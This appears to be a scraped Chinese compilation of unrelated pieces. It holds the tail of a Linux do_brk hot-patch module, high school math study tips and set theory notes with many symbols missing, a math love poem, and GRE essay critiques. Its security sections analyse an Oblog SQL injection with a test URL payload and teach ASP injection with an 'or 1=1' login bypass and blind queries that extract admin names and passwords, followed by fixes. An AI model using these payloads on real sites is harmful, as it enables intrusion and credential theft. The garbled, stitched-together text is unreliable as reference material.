if ((addr + len) > TASK_SIZE || (addr + len) < addr){ /* 检查是否超过了TASK_SIZE 的边界或者len值是否为负数*/
printk(“caught do_brk exploit!!!n”);
return -EINVAL;
}
return do_brk(addr,len); /*调用原有的do_brk()*/
}
上面这几句就是我们新的do_brk()函数my_brk(),下面让我们简单看看这个补丁是怎么寻找内核中所有调用do_brk的地方并把它替换的：
ptr=(unsigned char *)(do_brk); /* 首先获得do_brk的地址 */
newptr=(unsigned char *)(my_brk); /* my_brk的地址*/
for (cptr=start;cptr if (*cptr==0xe8||*cptr==0xe9){ /* 判断是否为0xe8或者0xe9就是call或者jump*/
cptr++;
lptr=(long *)cptr;
cptr+=4;
if ((cptr+*lptr)==(ptr)){ /* 是否指向do_brk*/
printk(“fixing 0x%08lxn”,lptr); /*如果是覆盖为新的my_brk */
*lptr=(newptr-cptr);
方案三总结：
该方案可以”on the fly”的为内核打补丁不需要重新下载新的内核，也不需要重新编译配置内核只需要把该补丁模块insmod到内核中就行了（该模块见附带光盘），虽然这个方案有这么多好处但是还是有一些问题需要注意，加了此模块后可能会影响系统的稳定性而且肯定会降低系统的运行速度。
以上就是我们从兼容性，易升级性，系统稳定性等多个方面探讨了给大家推荐的三种方案，我想其中肯定有一款适合你：）希望读者从中能学习到给Linux系统打补丁的一些知识，使大家能看懂系统补丁是怎么修补系统的，这样以后就可以提高系统整体的安全性。
篇8：高中数学知识和方法
把握教材去理解
要提高数学能力，当然是通过课堂来提高，要充分利用好课堂这块阵地，学习高一数学的过程是活的，老师教学的对象也是活的，都在随着教学过程的发展而变化，尤其是当老师注重能力教学的时候，教材是反映不出来的。数学能力是随着知识的发生而同时形成的，无论是形成一个概念，掌握一条法则，会做一个习题，都应该从不同的能力角度来培养和提高。课堂上通过老师的教学，理解所学内容在教材中的地位，弄清与前后知识的联系等，只有把握住教材，才能掌握学习的主动。
认真听课做笔记
在课堂教学中培养好的听课习惯是很重要的。当然听是主要的，听能使注意力集中，要把老师讲的关键性部分听懂、听会。听的时候注意思考、分析问题，但是光听不记，或光记不听必然顾此失彼，课堂效益低下，因此应适当地有目的性的记好笔记，领会课上老师的主要精神与意图。科学的记笔记可以提高45分钟课堂效益。
避免遗留问题
在数学课堂中，老师一般少不了提问与板演，有时还伴随着问题讨论，因此可以听到许多的信息，这些问题是很有价值的。对于那些典型问题，带有普遍性的问题都必须及时解决，不能把问题的结症遗留下来，甚至沉淀下来，有价值的问题要及时抓住，遗留问题要有针对性地补，注重实效。
3高中数学常见的方法有哪些
温故知新，把握要领
先把书看透，再动手做作业。做作业前，首先温故有关的知识，回顾概念，掌握要求，了解有关的注意事项，明确学习的目的，把握解题的规范化要求，然后再动手做作业，就心中有数，练中学，学中练，达到巩固目的，强化了知识，提高了能力。
但事实上，我们许多同学没有这个好习惯，拿到题目就做。这样，首先是速度慢，效率低。另外，由于概念不清，有的概念理解错误，做了题目起不到应有的作用，甚至还有反作用，巩固了错误，在相应方面形成了一个顽疾，为以后学习埋下后患。
明确题意，构建思路
题海战术的最大特点是以做题的数量作为标准，并期望以多取胜。由于高考升学的压力，不少同学不知不觉的掉进题海，拿到题目不假思索，跟着感觉走，时常出现张冠李戴，答非所问等现象，也会出现漏解或者画蛇添足，劳而无功。长期下去，最大的坏处是形成不严谨的思维习惯，不利于将来的发展。
审题是我们解题的前奏工作，不可忽视，在解题前必须审清题意，分析条件和结论，并且根据条件和结论进行联想：以前遇到过类似或者部分类似的问题吗?当时是用什么方法解决的?在这里还有效吗?等等。通过联想构建解题思路，设计解题程序，把握解题要点，为正确快速解题扫清障碍，奠定基础。
篇9：高中数学知识和方法
首先是知识，规律的基础。
用最少的东西去证明最多的东西，那些最少的东西是一切的基础。我们深刻掌握了那些最少的东西，一橦知识大厦便可以建造起来。基础知识都在课本里。因而，首先必须掌握好课本的知识点。
有些东西就是前人定出来的，并被世界公认，既然我们无法改变这一切，便只好接受，并消化。所以，有些时候没办法，只好死记了。当运用多了，便灵活了。熟悉串通了知识，便夯实了找到规律的基础。
真理可以从实践中获得。
在各种各样的题中，找到规律。同一类型的题目，这次错了，下次就会做了。规律是总结出来的。比如说，证明一些平行，垂直的几何题，似乎每次找到了中点，连接，便迎刃而解，这就是一种规律。我们可以从练习册，课本的例题中熟悉总结。还有一些经典易错题，更是要重点留意。
如果例题只是看一看，丝毫不重视的话，考试时速度方面便大打折扣了。一道题往往有好几个知识点堆在一起，只要循规蹈矩逐个击破，也就搞定了。规律越来越多，就像有更多的钥匙，面对各种各样的锁，也就不怕了。
高中数学知识和方法
篇10：高中数学知识情书
百岁山广告中是关于笛卡尔的爱情故事有多少人看的懂？而清华大学数学老师写了一封浪漫情书!它包含了高中的所有数学知识!一个字“绝”!两个字“经典”!四个字“佩服之至”!
我们的心就是一个圆形，
因为它的离心率永远是零。
我对你的思念就是一个循环小数，
一遍一遍，执迷不悟。
我们就是抛物线，你是焦点，我是准线，
你想我有多深，我念你便有多真。
零向量可以有很多方向，却只有一个长度，
就像我，可以有很多朋友，
却只有一个你，值得我来守护。
生活，可以是甜的，也可以是苦的，
但却不能没有你，枯燥平平，
就像分母，可以是正的，也可以是负的，
却不能没有意义，取值为零。
有了你，我的世界才有无穷大，
因为任何实数，都无法表达，
我对你深深的love。
我对你的感情，就像以e为底的指数函数，
不论经过多少求导的风雨，
依然不改本色，真情永驻。
不论我们前面是怎样的随机变量，
不论未来有多大的方差，
相信波谷过了，波峰还会远吗?
你的生活就是我的定义域，
你的思想就是我的对应法则，
你的微笑肯定，就是我存在于此的充要条件。
如果你的心是x轴，那我就是个正弦函数，
围你转动，有收有放。
如果我的心是x轴，
那你就是开口向上、Δ为负的抛物线，
永远都在我的心上。
我每天带给你的惊喜和希望，
就像一个无穷集合里的每个元素，
虽然取之不尽，却又各不一样。
如果我们有一天身处地球的两侧，咫尺天涯，
那我一定顺着通过地心的大圆来到你的身边，哪怕是用爬。
如果有一天我们分居异面直线的两头，
那我一定穿越时空的阻隔，
划条公垂线向你冲来，一刻也不愿逗留。
但如果一天，我们不幸被上帝扔到数轴两端，
正负无穷，生死相断，
没有关系，只要求个倒数，我们就能心心相依，永远相伴。
爱人是多么的神秘，却又如此的美妙，
就像数学，可以这么通俗，却又那般深奥。
只有把握真题的规律，考试的纲要，
才能叩启象牙的神塔，迎接爱人的怀抱。
篇11：高中数学知识总结
高中数学集合知识总结
高中数学集合知识总结如下：
一、集合间的关系
1.子集：如果集合A中所有元素都是集合B中的元素，则称集合A为集合B的子集。
2.真子集：如果集合AB，但存在元素a∈B,且a不属于A,则称集合A是集合B的真子集。
3.集合相等：集合A与集合B中元素相同那么就说集合A与集合B相等。
子集：一般地，对于两个集合A与B，如果集合A的任何一个元素都是集合B的元素，我们就说集合A包含于集合B，或集合B包含集合A，记作：AB(或BA)，读作“A包含于B”(或“B包含A”)，这时我们说集合是集合的子集，更多集合关系的知识点见集合间的基本关系
二、集合的运算
1.并集
并集：以属于A或属于B的元素为元素的集合称为A与B的并(集)，记作A∪B(或B∪A)，读作“A并B”(或“B并A”)，即A∪B={x|x∈A,或x∈B}
2.交集
交集： 以属于A且属于B的元素为元素的集合称为A与B的交(集)，记作A∩B(或B∩A)，读作“A交B”(或“B交A”)，即A∩B={x|x∈A,且x∈B}
3.补集
三、高中数学集合知识归纳：
1.集合的有关概念。
1)集合(集)：某些指定的对象集在一起就成为一个集合(集).其中每一个对象叫元素
注意：①集合与集合的元素是两个不同的概念，教科书中是通过描述给出的，这与平面几何中的点与直线的概念类似。
②集合中的元素具有确定性(a?A和a?A，二者必居其一)、互异性(若a?A，b?A，则a≠b)和无序性({a,b}与{b,a}表示同一个集合)。
③集合具有两方面的意义，即：凡是符合条件的对象都是它的元素;只要是它的元素就必须符号条件
2)集合的表示方法：常用的有列举法、描述法和图文法
3)集合的分类：有限集，无限集，空集。
4)常用数集：N，Z，Q，R，N*
2.子集、交集、并集、补集、空集、全集等概念。
1)子集：若对x∈A都有x∈B，则A B(或A B);
2)真子集：A B且存在x0∈B但x0 A;记为A B(或 ，且 )
3)交集：A∩B={x| x∈A且x∈B}
4)并集：A∪B={x| x∈A或x∈B}
5)补集：CUA={x| x A但x∈U}
注意：①? A，若A≠?，则? A ;
②若 ， ，则 ;
③若 且 ，则A=B(等集)
3.弄清集合与元素、集合与集合的关系，掌握有关的术语和符号，特别要注意以下的符号：(1) 与 、?的区别;(2) 与 的区别;(3) 与 的区别。
4.有关子集的几个等价关系
①A∩B=A A B;②A∪B=B A B;③A B C uA C uB;
④A∩CuB = 空集 CuA B;⑤CuA∪B=I A B。
5.交、并集运算的性质
①A∩A=A，A∩? = ?，A∩B=B∩A;②A∪A=A，A∪? =A，A∪B=B∪A;
③Cu (A∪B)= CuA∩CuB，Cu (A∩B)= CuA∪CuB;
6.有限子集的个数：设集合A的元素个数是n，则A有2n个子集，2n-1个非空子集，2n-2个非空真子集。
四、数学集合例题讲解：
【例1】已知集合M={x|x=m+ ,m∈Z},N={x|x= ,n∈Z},P={x|x= ,p∈Z}，则M,N,P满足关系
A) M=N P B) M N=P C) M N P D) N P M
分析一：从判断元素的共性与区别入手。
解答一：对于集合M：{x|x= ,m∈Z};对于集合N：{x|x= ,n∈Z}
对于集合P：{x|x= ,p∈Z}，由于3(n-1)+1和3p+1都表示被3除余1的数，而6m+1表示被6除余1的数，所以M N=P，故选B。
分析二：简单列举集合中的元素。
解答二：M={…， ，…}，N={…， , , ，…}，P={…， , ，…}，这时不要急于判断三个集合间的关系，应分析各集合中不同的元素。
= ∈N， ∈N，∴M N，又 = M，∴M N，
= P，∴N P 又 ∈N，∴P N，故P=N，所以选B。
点评：由于思路二只是停留在最初的归纳假设，没有从理论上解决问题，因此提倡思路一，但思路二易人手。
变式：设集合 ， ，则( B )
A.M=N B.M N C.N M D.
解：
当 时，2k+1是奇数，k+2是整数，选B
【例2】定义集合A*B={x|x∈A且x B}，若A={1,3,5,7},B={2,3,5}，则A*B的子集个数为
A)1 B)2 C)3 D)4
分析：确定集合A*B子集的个数，首先要确定元素的个数，然后再利用公式：集合A={a1，a2，…，an}有子集2n个来求解。
解答：∵A*B={x|x∈A且x B}， ∴A*B={1,7}，有两个元素，故A*B的'子集共有22个。选D。
变式1：已知非空集合M {1,2,3,4,5}，且若a∈M，则6?a∈M，那么集合M的个数为
A)5个 B)6个 C)7个 D)8个
变式2：已知{a,b} A {a,b,c,d,e},求集合A.
解：由已知，集合中必须含有元素a,b.
集合A可能是{a,b},{a,b,c},{a,b,d},{a,b,e},{a,b,c,d},{a,b,c,e},{a,b,d,e}.
评析 本题集合A的个数实为集合{c,d,e}的真子集的个数，所以共有 个 .
【例3】已知集合A={x|x2+px+q=0},B={x|x2?4x+r=0},且A∩B={1},A∪B={?2,1,3},求实数p,q,r的值。
解答：∵A∩B={1} ∴1∈B ∴12?4×1+r=0,r=3.
∴B={x|x2?4x+r=0}={1,3}, ∵A∪B={?2,1,3},?2 B, ∴?2∈A
∵A∩B={1} ∴1∈A ∴方程x2+px+q=0的两根为-2和1，
∴ ∴
变式：已知集合A={x|x2+bx+c=0},B={x|x2+mx+6=0},且A∩B={2},A∪B=B，求实数b,c,m的值.
解：∵A∩B={2} ∴1∈B ∴22+m?2+6=0,m=-5
∴B={x|x2-5x+6=0}={2,3} ∵A∪B=B ∴
又 ∵A∩B={2} ∴A={2} ∴b=-(2+2)=4,c=2×2=4
∴b=-4,c=4,m=-5
【例4】已知集合A={x|(x-1)(x+1)(x+2)>0},集合B满足：A∪B={x|x>-2}，且A∩B={x|1
分析：先化简集合A，然后由A∪B和A∩B分别确定数轴上哪些元素属于B，哪些元素不属于B。
解答：A={x|-21}。由A∩B={x|1-2}可知[-1,1] B，而(-∞,-2)∩B=ф。
综合以上各式有B={x|-1≤x≤5}
变式1：若A={x|x3+2x2-8x>0}，B={x|x2+ax+b≤0},已知A∪B={x|x>-4}，A∩B=Φ,求a,b。(答案：a=-2，b=0)
点评：在解有关不等式解集一类集合问题，应注意用数形结合的方法，作出数轴来解之。
变式2：设M={x|x2-2x-3=0},N={x|ax-1=0}，若M∩N=N，求所有满足条件的a的集合。
解答：M={-1,3} , ∵M∩N=N, ∴N M
①当 时，ax-1=0无解，∴a=0 ②
综①②得：所求集合为{-1，0， }
【例5】已知集合 ，函数y=log2(ax2-2x+2)的定义域为Q，若P∩Q≠Φ，求实数a的取值范围。
分析：先将原问题转化为不等式ax2-2x+2>0在 有解，再利用参数分离求解。
解答：(1)若 ， 在 内有有解
令 当 时，
所以a>-4,所以a的取值范围是
变式：若关于x的方程 有实根,求实数a的取值范围。
解答：
点评：解决含参数问题的题目，一般要进行分类讨论，但并不是所有的问题都要讨论，怎样可以避免讨论是我们思考此类问题的关键。
篇12：Oblog注入漏洞分析(已修补)
style=“display:block;padding:0px 10px;” class=“ContentFont”>Date：-5-15 Author：Yamato[BCT] Version：Oblog 4.5-4.6 sql 代码分析： 文件In/Class_UserCommand.asp : strMonth=Request(“month”) //第63行 strDay=Request(“day”) …… Case “month” //第84行 Dim LastDay G_P_FileName = G_P_FileName & “month&month=” & strMonth strDay=Left(strMonth,4) & “-” & Right(strMonth,2) & “-01” mYear=Left(strMonth,4) mMonth=Right(strMonth,2) If InStr (“01,03,05,07,08,10,12”,mMonth)> 0 Then LastDay = “31”…… Else //第109行 SqlPart = “ And Addtime >=’”&strMonth&“01’ AND Addtime < ’”&strMonth&LastDay&“’ ” 构造合适的变量strMonth进行注射 测试方法: localhost/oblog/cmd.asp?do= month&month=2008’ and user>0--01 strDay变量从month中获得日期数据，并判断strDay是否为日期数据，
Oblog最新注入漏洞分析(已修补)
，
所以构造的注射语句为： localhost/oblog/cmd.asp?do= month&month=2008’(自己的sql语句)--01 执行sql语句采用rst.Open strSql,Conn,1,1 不能修改记录集.
篇13：注入漏洞的查找与修补
一、注入点的查找
当我们想要测试某个站点时，一般会架上注入工具对其狂轰乱炸，这样做虽然有时能找到注入点，但还是有些盲目，我个人的看法是：如果有源码的话，就从源码入手，在源码中查找注入点，对于源码，有些朋友可能觉得很难，其实源码并不神秘，它也是有一定的语法规则的，看一套优秀的源码就像是在欣赏一部精美的电影，只要我们坚持每天看一些优秀源码，再加上百度这个老师的指点，用不了多久，源码的神秘面纱就会被你揭去。闲话少说，下面我们就开始查找注入点，目标有两个：一是Request，二是SQL语句。
说到Request，这个是ASP程序中的一个内建对象，怎么？不懂？那就跟我先来恶补一下吧！它是用来获取客户端信息的，有五种方法，而会出现注入点的一般有以下三种：
1、Request.QueryString：取得客户端提交的信息。当Form以Get方法提交信息，或是直接在URL中提交变量值时，在服务器端接收数据时采用的就是这种方法。
2、Request.Form：同样也是取得客户端提交的信息，但它接收的是Form以Post方法提交的信息。
3、Request.Cookies：取得客户端浏览器的Cookies信息。Cookies就是小甜饼，指的是一些私人信息，如用户名、密码之类的信息。
有些程序员为了减少错误，对于前两种信息的获取，会采用Request来取得客户端提交的信息，这种方法，虽然可以通吃Request.QueryString和Request.Form的提交信息，但如果过滤的不好，就会被漏洞反咬一口。
了解过一些Request的知识后，下面就在“查找”中输入“request”进行搜索，OK！当找到上面所列的三项Request语句后，再来看一下程序对这些Request语句是否做了过滤，比如ID值是否用INT过滤，例：id=int(request(“id”))；字符串值是否用replace 或instr()等函数进行过滤单引号或一些特殊字符，例：username=replace(request(“username”),“'”, “”)；或者程序是否采用本身的一些过滤函数来过滤这些提交值。从查找到这句request参数起，一直到SQL语句中使用这个提交值至，如果中间没有上面的层层关卡，那么，一个注入点，基本上就算是出现了。
说到SQL语句，不能不提到以下几个常用的语句：
1、查询语句：Select [(<字段名1> [,<字段名2>, ...])] FROM <表名jmdcw> [Where <条件表达式> [AND|OR <条件表达式>...]
2、更新语句：Update <表名jmdcw> SET 列名1 = 常量表达式1[,列名2 = 常量表达式2 ...] Where <条件表达式> [AND|OR <条件表达式>...]
3、删除语句：Delete FROM〈表名JMDCW〉[Where <条件表达式> [AND|OR <条件表达式>...]]
这里不对SQL语句做介绍了。在上面列出的SQL语句中，注入点出现频率最高的是Select语句，而注入参数的出没地通常都是在Where之后的条件中。当一个没有过滤的Request语句进入SQL语句后，就是注入大显身手的时候了，不过，在进行注入之前还要先看一下该参数是直接引入，还是用单引号引入的，另外，该参数是否还应用于其他SQL语句中，然后，根据不同的信息，选择不同的处理方式，或直接暴破，或UNION查询，当然，如果存在注入点的程序使用的是SQL数据库，那就不单单是得到一些重要信息，甚至还可以增加管理员。
下面用“蚂蚁影院3.0”版注销用户(wantlogin.asp)中的一段源码来做一下介绍：
引用
<%
if request(“userid1”)“” then '
set rst=server.createobject(“adodb.recordset”)
sql=“select money,online from users where userid='”&request(“userid1”)&“' and password='”&md5(request(“pws”))&“'”
rst.open sql,conn,1,3
if rst.eof and rst.bof then
response.write“”
else
response.write“”
response.write“”
rst.close
set rst=nothing
conn.close
set conn=nothing
end if
end if
%>
在其流程中，首先判断取得的提交值userid1是否为空，不为空的话就进入SQL语句中，验证取得的用户名及密码是否和数据库内的用户名及密码一致，如果不一致，则弹出“用户名及密码错误”窗口，否则，就弹出“恢复成功”的窗口，
这也是一段典型的注入漏洞源码，并且，接收的方式还是使用的 request，这就给我们提交注入语句提供了最大的方便。如果我们在URL地址中提交如下字符：http: //127.0.0.1/wantlogin.asp?userid1=aa&pws=bb，因为没有aa这个用户，那么就会弹出错误窗口，而如果我们将aa换成如下字符：aa' or 1=1 or '1'='1，pws保持不变，这样提交的语句到了SQL语句中就成了如下语句：
select money,online from users where userid1='aa' or 1=1 or '1'='1' and password='md5(bb)'，以往我们所见到的测试代码一般为“or 1=1”，而这里却多用了一个 or ，为什么要多用一个or呢？解释一下，在逻辑运算符中，and的优先级别高于or ，程序运行后会先运算后面的'1'='1' and password='md5(bb)'，因为密码是随便输入的，所以and后的password值为假，而and前的'1'='1'虽然为真，但真and 假＝假，所以，这个and的运算值为假，再来看or运算，因为前面的用户名也是不存在的，其值当然为假，如此一来，where后的逻辑运算就成了如下表达式：假or真or假，结果值还是为真，这样就会弹出“恢复成功”窗口，如果将其中的or 1=1 改为or 1=2，那逻辑表达式则成了：假or假or假，值当然也为假，弹出的就是“用户名或密码错误”的窗口。这样，根据弹出窗口的不同，我们就可以构造一些特殊字符，然后猜测出需要的数据了，比如查询管理员ID的语句，将or后的1=1更改为： 1=(Select top 1 id from admin)，这里暂用admin表示管理员表名，如果存在ID为1的管理员，那么就会弹出“恢复成功”的窗口，否则，就证明管理员的ID不为1，那就要再用其他数字来测试。猜出管理员ID后，再把此段字符更改为猜测管理员名称长度的字符：5<(Select len(adminname) from admin where id=1)，如为真，则证明长度大于5，否则长度小于或等于5。猜出长度后，再用asc()函数来猜测管理员的名称：90<(select asc(mid(adminname,1,1)) from admin where id=1)，如此循环，就能暴破出管理员的名称及密码了。
上面提到的是Request.QueryString和Request.Form的注入方法，而Request.Cookies的注入方法则是要修改本地的Cookies值来实现的，推荐使用一些专门的Cookies修改工具，不过，用Cookies来注入相对而言，就麻烦了好多，但原理和前面的注入是一样的，这里就不介绍了。
二、注入点的修补
在上面着重讲了如何查找注入点及简单的利用方法，当我们知道了攻后，也就明白了如何守，攻和守之间虽然是对立的，但也是相互的。明白了什么地方存在注入点，再来修补也就容易多了。在前面查找注入点时，我也提到查看程序中是否对提交参数进行了过滤，每个程序对注入的过滤函数都不相同，我们在修补自已站点上的注入点时，可参照其他程序中的过滤函数，也可根据自已的需要，单独过滤一些敏感的字符。这里，还是以上面的那个例子来说一下如何修补注入点。在前面的 SQL语句中有这一句：userid='“&request(”userid1“)&”'，这其中对提交来的参数是用单引号来引入的，而我们能成功注入也是在提交参数中加入了单引号来闭合其语句，这样，加入一个replace()函数对单引号进行过滤，修改后的语句为：userid= '“&replace(request(”userid1“),”'“,”“)&”'，这样用户再提交带有单引号的字符时， Replace()就会将单引号过滤为空，如此一来，提交的那些特殊字符也就失去了其意义。
当然，我们还可以在userid1进入SQL语句之前，对其长度进行一下判断，如果超过规定的长度，就弹出错误，中止页面执行并返回到指定的页面。当然还可以借鉴一些优秀源码中的过滤方法。总之，注入漏洞是可以避免的，即使出现了注入点，只要我们分析出其出现的原因，也就能很容易地将其修补了！
篇14：GRE考试中作文漏洞如何修补
GRE考试中作文漏洞如何修补
gre作文原稿(第三段)
The nonmainstream areas can do harm to[1] the society, only when people don't inquire them merely for fun, but for resolution[2] of life instead. It is ignorance because no one in the world could point out way for others, neither does the God[3]. Only those people with confidence have the possibility to successfully solve problems.
语言修改
Nonmainstream areas can harm society when people look to them for genuine solutions to real problems, not just for fun. This is done from ignorance, since nobody, not even God, can provide any answers. Only people with confidence can successfully solve their problems.
gre作文内容点评及修改
这是习作的第三段，作者进一步提出如果是为了好玩而相信迷信的东西是没有关系的。假设你是用迷信的东西来解决生活问题就会出问题。因为这个世界上没有人能够为其他的人指明道路，上帝也不行。他所说的最后这句话有点过于绝对，很多人是可以为他人指明道路，他们的职业就是这样的，比方说辅导员、老师。
这段与前一段的问题一样，只阐明了观点，但是没有提出任何的例证来支持观点。只说论点，不讲证据是中国学生的普遍问题。另外，在英语国家里，上帝是主流的而不是“非主流的”。在内容上又有点偏题。文章的题目是主流与非主流，可以定义为科学与迷信，但是宗教并不是迷信。宗教在西方社会是居于主流地位的。这一段的措辞有点像是讨论科学与宗教的关系，这是不恰当的。不过，这篇习作有一个突出的优点就是每一段的开头句都有topic sentence开宗明义。
如果想要使这段的论述更加充实，不妨添加下面这些例子。如一个人如果得病的话应该去找医生而不是去找算命的。星象学家也许会相信星座的移动造成了流行性感冒，但是真正治疗感冒症状的可能是阿司匹林。另外，不能只提出只有那些具备信心和解决问题能力的人才能克服困难，要用例子支持一下，可以举出如果因为星座专栏说你在找工作方面有非常好的运气，你就对一次找工作的面试掉以轻心，那就可能会把好机会糟蹋了。这就是对“只有那些有信心的人、有自信的人才能解决问题”的说明。
gre作文修改范例
Nonmainstream areas can be harmful when people look to them for genuine solutions to real problems, not just for fun. A person who becomes ill should seek help from a health care professional but should not resort to consulting a fortune-teller. Astrologers may believe that the rotation of planets accounts for influenza, yet aspirin is definitely more effective in treating its symptoms. As for individuals, only people with confidence and problem-solving skills can surmount difficulties. If you treat an important interview lightly just because the astrology column says that you have fabulous luck in job-hunting, you may ruin a great opportunity.
gre作文原稿(第四段)
And[4] the mainstream science plays the very vital role to provide people with reasonable methods[5]. These science are based on practical experiments, carefully analize and reasoning[6]. They may not seem as good as those nonmainstream areas in satisfying human needs, but under their artless face they give people real help.
语言修改
On the other hand, science plays the very vital role of providing people with reasoned[7] methods to conduct life. Science is based on practical experiments, careful analysis, and reasoning. They may not seem as miraculous as nonmainstream areas in satisfying human needs, but under their artless face they give people real help.
gre作文内容点评及修改
这一段大问题跟前面类似，只是提出了主流的科学给人们提供合理的方法。这些科学是基于实验，仔细的分析和逻辑的方法的。它们看上去不如非主流的追求那样满足人们的追求，但是却能给人提供真正的帮助。这是作者的观点，但是没有具体说明科学是如何给人们提供合理的方法，缺乏真正能够支持论点的实例。下面的修改范例在内容上对原稿进行了补充。不仅提出科学不像那些迷信那样能够给人们提供奇迹的、不可思议的方法，但是在科学朴实的外表之下它能够给人们带来真正的帮助，并例举了
具体的科学门类所给人们提供的帮助。
gre作文修改范例
On the other hand, the history of mankind has amply demonstrated that, science based on experiments and analysis, provide people with reasoned methods to conduct life. Psychology explains human behavior. Sociology enlightens people on their relationship with their surrounding environment. Modern medicine has advanced so much that it is now possible to predict cancer even before a child is born.
gre作文原稿(第五段)
Generally speaking, the so-called[8] nonmainstream areas color our life to a great extent, but we should believe in[9] the mainstream science when we want to resolve problems[10].
gre作文语言修改
Mainstream areas color our lives to a great extent, but we should put our trust in mainstream science when we want to solve real problems.
习作总评
这篇习作所犯的错误非常有代表性，提出的观点几乎完全没有例证。这是中国学生最大的通病。许多学生似乎觉得如果观点是公认的，就不需要例证了。但是现在是在考写作能力，其中最重要的一条就是能否用恰当地例证支持观点。至于观点是否新颖还是其次的考量。
第二个错误，也是非常普遍的错误就是没有表现出对问题的复杂性的理解。有老师把这一点说成是“表达复杂思想的能力”。这样说不准确。GRE作文不要求表达“复杂的思想”,而是表现出洞悉议题的复杂性的能力。GRE的题目往往不是黑白分明的，你可以有自己的观点，多么强烈都可以，但是从第一段起，就要注意展现对问题复杂性的认识。具体说，就是认识到你反驳或不同意的观点往往也有它的道理。
[1] “Do harm to”改为“harm”，因为这样说更直接。英语里有 “does more harm than good”, “did little harm”这样的表达法，但是“对…有害”应该直接用 “harm”, 或者be harmful to, be detrimental to.
[2] “resolution” 是“决心”的意思，如New Year resolution. 此外还有“决议”的意思，如：a resolution of the dispute.“解决问题”中的“解决”要用“solve” 或者“solution”。
[3] “the God”改为“God ”或是“the Gods”。
[4]表示转折的词中and是很少用的。这一段和上一段的关系是转折，应该用but。
[5]原稿中只提到了methods，而没有说是干什么的方法。改后稿改为methods to conduct life，具体说明了处理生活的方法。
[6]第二句犯了parallelism的错误，不能够真正的平行。practical experiments是个名词, carefully analize 是副词加动词，而reasoning是动名词。“科学看上去不如非主流的追求那样满足人们的追求。”这句话在内容上也是有问题的。
[7] reasoned表示“合乎逻辑的”，reasonable表示“较为合理的”不一定是合乎逻辑的。reasonable还表示“费用不高的”。
[8] 用法错误：“So-called”暗示所提及的内容不是真正意义上的非主流，只是这样叫罢了。
[9] believe in: 信仰, trust, put trust in: 信任。
[10] resolve conflict解决冲突，解决问题直接用solve problems就可以了。real problem表示现实当中的问题。
以上就是经过名师修改的gre作文实例。通过这篇文章，大家可以学到如何下手去修改gre作文，考G同学也可以相互批改，共同进步
GRE issue写作优秀实例：技术影响之交流
题目：
High-speed electronic communications media, such as electronic mail and television, tend to prevent meaningful and thoughtful communication.
高速电子通讯媒体，例如电子邮件和电视，在逐渐地抑制有意义的和有思想性的交流。
正文：
The technology is seducive:the global networks transparently transiting megabytes of information in fractions of a second; client/server softwares supporting fabulous real-time multimedia presentations on PC and MAC workstations; effortless visits to the virtual reality words. As a result, the interpersonal communication become increasingly meaningful and thoughtful in that the appearance of high-speed electronic communications media such as electronic mail and television accumulates more people in different geographicla places to a conference and facilitate their communication.
No field benefits more than business in terms of commercial intercourse from the electronic communication, which can save the engaged businessmen plenty of time ,energy and money, in other words, make profits for them. Instead of taking several flights one day to make trades with people, now the businessman just need sit down in front of the computer screen , and click the keys. While it is expensive to call in a large number of people to a definite place to hold a meeting, by utilizing electronic television, electronic conference presently goes on in the internet, ecnomically and efficiently. Thereby electronic media facilitate our meaningful communication, which contributes to the prosperity of business in reality.
On an individual level, electronic communications media shorten the distance of people to such a degree that every and each one, regardless of sex, nationality, and race, can talk with each other in the global village through internet. When people of different backgrounds participate in a specific talk toward a special topic, motley assortments of opinions and views bear their heads and in the mean time we share our sparks of thoughts, we can obtain the more profound and through understanding of the matter around us. Further , the implements based on the internet offer us a another way to communicate with our familiar friends. Unlike talking to them in true life, where we have to conceal some of our inner expression when facing to facing, we are able to free our mask and interact with each other without restrictions of the mind, and thus carry a deep talk.
Yet some people may argue that the internet renders people no thoughtful and meaningful communication, since they contrive misleading information and play evil jokes to others. Nonetheless, this has, in my opinion, nothing to do with the internet itself. Rather, if we are honest and sincere enough behind the screen, the problem will not exist and thus we can make most use of the electronic means to foster our life.
In sum , I disagree with the statement in that from our empirical experience, the electronic media makes our communication increasingly meaningful and thoughtful.As long as we adopt a genuine and candid attitude towards people in the global networks, no matter in many social field such as the business area or from a personal perspective, electronic communications media will serve as a powerful and serviceable implement aided in our quotidian life.
GRE issue写作优秀实例：技术影响之旅游
题目：
Because of television and worldwide computer connections, people can now become familiar with a great many places that they have never visited. As a result,tourism will soon become obsolete.
由于电视和全球范围内的计算机网络，人们现在可以熟悉很多以前从未涉足过的地方。其结果就是使得旅游变得过时了。
正文：
Will the widespread television and computer connections dampen people’ enthusiasm for tourism? The speaker claim that the prospect would be that tourism will soon become obsolete, but I seriously doubt it. In my point of view, although television and computer connections provide people alternatives of viewing the world without stepping out of their homes, these modern conveniences kindle more people’s tourism lust.
Admittedly, television and computer connections do slow down some people’s interest in tourism. By viewing the vivid description of certain tourist attractions with detailed illustration provided by television and computers, it makes the once illusionary picture of staying at home and traveling around the world become a possible scenario that everybody can get accessed to. What is more, due to the fast-rhythm modern life,except during vacations, people can hardly afford time to travel around whenever they want. Thus, television problems and computer network become effective substitutes.But I by no means agree that tourism will become obsolete. Daily empirical evidences show us that instead of becoming out of date with all the programs focusing on places of interest, tourism is prospering unprecedented. According to statistical study, the global revenue brought out by tourism has amount to one third of the total and this trend tends to increase gradually and at the same time, traveling expenditure for individual household has account for the biggest spending next to food and accommodation. The main causes underlying this trend lies in two aspects.
For one thing, psychological research shows that human beings are sensible animals whose curiosity can only be satisfied with all the five sensation being obtained, such as touch, taste, hearing smelling and view. Although it is possible for human to view beautiful pictures, listen people’s voices, or understand the weird customs, when it comes to other sensations, televisions and computers can hardly fulfill their task comparing with people’s direct experience of being in that place. Consider, for example,food has constituted an important part of culture and how it is possible for us to have a bite of the tasty food of Peking duck, Italian noodles or Japanese sushi. Nothing would be more valuable than surfing in the sea, lying on the beach to enjoy the sunshine, smell the fragrant earth in the California coastline. The above examples best illustrate why with all the convenience of staying home and approach to several nations in a few hours still cannot satisfy peoples’ lust for traveling.
The second deep-rooted reason for the prospering of tourism is actually achieved in some sense by the wide spreading of televisions and computer connection. People were reluctant to leave their home and travel in other courtiers for the concern of safety and cultural difference and adaptation. Thanks to all the television programs available, we come to realize how to socialize with local people, deal with cultural shock and arrange our trips from the guidance of those programs. For example, we observe an increasing willingness in recent years for Americans to travel to north-east Asia or Africa instead of clustering to European countries what they consider close in culture and secure both mentally and physically. Having a net friend you get to know on the Internet deepens our understanding about another culture that we never encounter before and this in turn, stimulate our desire and curiosity to experience by our own in that place.
